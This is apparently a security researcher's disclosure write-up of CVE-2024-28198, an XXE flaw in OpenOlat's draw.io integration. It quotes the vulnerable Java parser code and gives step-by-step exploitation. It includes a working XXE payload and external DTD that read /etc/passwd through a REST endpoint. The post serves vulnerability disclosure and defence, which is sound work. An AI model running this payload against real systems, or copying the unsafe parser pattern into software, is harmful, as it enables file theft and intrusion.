OpenOlat - XML external entity (XXE) injection (CVE-2024-28198)
Overview
OpenOlat is a learning management system (LMS), an internet-based learning platform for teaching, learning, assessment and communication. It is used by a number of universities, companies and other private and public institutions and can be adapted to organizational needs. Integrations provide advanced features and functionality such as web conferencing or document editors to expand its functionality.
During a brief review of the relatively new draw.io integration, an XML external entity (XXE) injection was identified. This allows malicious users for example to read arbitrary files and perform server-side request forgery (SSRF) attacks to prepare additional attacks.
To illustrate the potential impact, we successfully exploited this vulnerability on a standard installation of OpenOlat version 18.1.5. A Proof-of-Concept (PoC) was created that allows to read arbitrary files accessible by the configured system user running the application.
This blog post describes the vulnerability and shares some details about the exploitation of the identified issue.
Analysis
Given our previous exposure to OpenOlat (CVE-2021-39180 and CVE-2021-39181), we already had some familiarity with the code base. Due to the nature of the vulnerabilities identified previously, the focus was put on file handling and the draw.io integration immediately caught our attention due to its handling of SVG/XML files.
With the draw.io integration being rather simple, a cursory inspection of its implementation quickly revealed that the DrawioServiceImpl
class uses a default DocumentBuilder
instance instead of OpenOlat’s safe wrapper to parse user controlled XML data, leading to a XML external entity (XXE) injection.
The vulnerability can be triggered by REST-API endpoint /restapi/drawio/files/{fileId}/content
which can be found in DrawioWebService.java
:
@GET
@Path("/content")
@Produces(MediaType.APPLICATION_JSON)
public Response getFile(
@PathParam("fileId") Long fileId,
@QueryParam("access_token") Long accessKey,
@Context HttpServletRequest request) {
log.debug("Drawio content request for File ID: {}", fileId);
return get(request, fileId, accessKey, true);
}
The endpoint expects a file identifier as a path parameter as well as an access token in the query parameters and simply calls the service’s get()
method while setting the loadXML
argument to true
. This method is defined as follows:
private Response get(HttpServletRequest request, Long fileId, Long accessKey, boolean loadXml) {
if (!drawioModule.isEnabled() || !drawioModule.isCollaborationEnabled()) {
return Response.serverError().status(Status.FORBIDDEN).build();
}
Access access = docEditorService.getAccess(() -> accessKey);
...
Identity identity = RestSecurityHelper.getIdentity(request);
...
if (!access.getMetadata().getKey().equals(fileId)) {
...
}
VFSLeaf vfsLeaf = docEditorService.getVfsLeaf(access);
...
FileInfoVO fileInfoVO = new FileInfoVO();
addFileInfos(fileInfoVO, access, vfsLeaf, loadXml);
return Response.ok(fileInfoVO).build();
}
After performing some sanity checks and verification of the provided access token it constructs a FileInfoVO
-object by calling the addFileInfos()
method:
private void addFileInfos(FileInfoVO fileInfoVO, Access access, VFSLeaf vfsLeaf, boolean addXml) {
VFSMetadata vfsMetadata = access.getMetadata();
fileInfoVO.setId(vfsMetadata.getKey());
...
if (addXml) {
// Does not work with PNG!
String xml = drawioService.getXmlContent(vfsLeaf);
fileInfoVO.setXml(xml);
}
}
After setting some basic file info attributes such as the identifier or file size, it also sets the xml
attribute (addXml
is true
) by assigning it the result of getXMLContent()
, which is defined in DrawioServiceImpl.java
as follows:
@Override
public String getXmlContent(VFSLeaf vfsLeaf) {
String xml = null;
String suffix = FileUtils.getFileSuffix(vfsLeaf.getName());
if ("svg".equalsIgnoreCase(suffix)) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(vfsLeaf.getInputStream());
String xpathExpression = "//svg/@content";
XPathFactory xpf = XPathFactory.newInstance();
XPath xpath = xpf.newXPath();
XPathExpression expression = xpath.compile(xpathExpression);
NodeList svgPaths = (NodeList)expression.evaluate(document, XPathConstants.NODESET);
xml = svgPaths.item(0).getNodeValue();
} catch (Exception e) {
log.warn("Cannot extract xml from svg file {}", vfsLeaf.getRelPath());
log.warn("", e);
}
} else {
xml = FileUtils.load(vfsLeaf.getInputStream(), "utf-8");
}
return xml;
}
If the file extension is not svg
it loads the file contents more or less as-is. However, if the file extension matches svg
, the file contents get parsed by a DocumentBuilder, which is constructed using a default parser configuration. This configuration is vulnerable to XXE if the parsed file contains external entity references.
Eventually, the value of the content
attribute of the svg
tag is returned to be stored in the xml
file info attribute.
Exploitation
The exploitation of this vulnerability is pretty straight forward, but requires some fiddling with the web application to get a valid access token.
The general exploit idea is as follows:
- Upload a file with a
.drawio
extension, containing an XXE payload. - Edit the file two times and close the first editor, leaving the second editor open, as otherwise the file is locked and cannot be renamed.
- We get the file id and access token by observing the resulting REST API call to the
/drawio/files/{fileId}/info
endpoint of the second file edit action in a proxy. - Now, rename the file to have a
.svg
file extension. - Finally, call
/drawio/files/{fileId}/content
with the file id and access token obtained in step 3 to trigger the XXE payload.
To read arbitrary files the following payload can be stored in a file called xxe.drawio
and uploaded:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://localhost:8000/xxe.dtd"> %xxe;]>
<svg></svg>
This will cause the XML parser to fetch the external DTD from a server and interpret it inline. Further, it embeds an SVG element, that later holds the file contents as the value of its content
attribute.
The external DTD (xxe.dtd
) can be defined as follows:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ATTLIST svg content CDATA #FIXED '%file;'>">
%eval;
Here, an XML parameter entity called file
is defined, whose value is loaded from the target file /etc/passwd
. Then it defines an attribute named content
on the SVG. The default value of this attribute is set to be the contents of /etc/passwd
by evaluating the XML parameter entity file
defined earlier.
Ultimately, the contents of /etc/passwd
end up in the xml
file info attribute that is included in the response of the /drawio/files/{fileId}/content
endpoint.
The following screen cast shows the exploitation of a local installation of OpenOlat version 18.1.5:
Disclosure
- 2024-01-23: Advisory sent to contact@openolat.org.
- 2024-01-24: Fixed in commit 23e6212 - Released in 18.1.6
- 2024-03-12: CVE assigned.
- 2024-03-12: Advisory published.
The issue has been assigned CVE-2024-28198.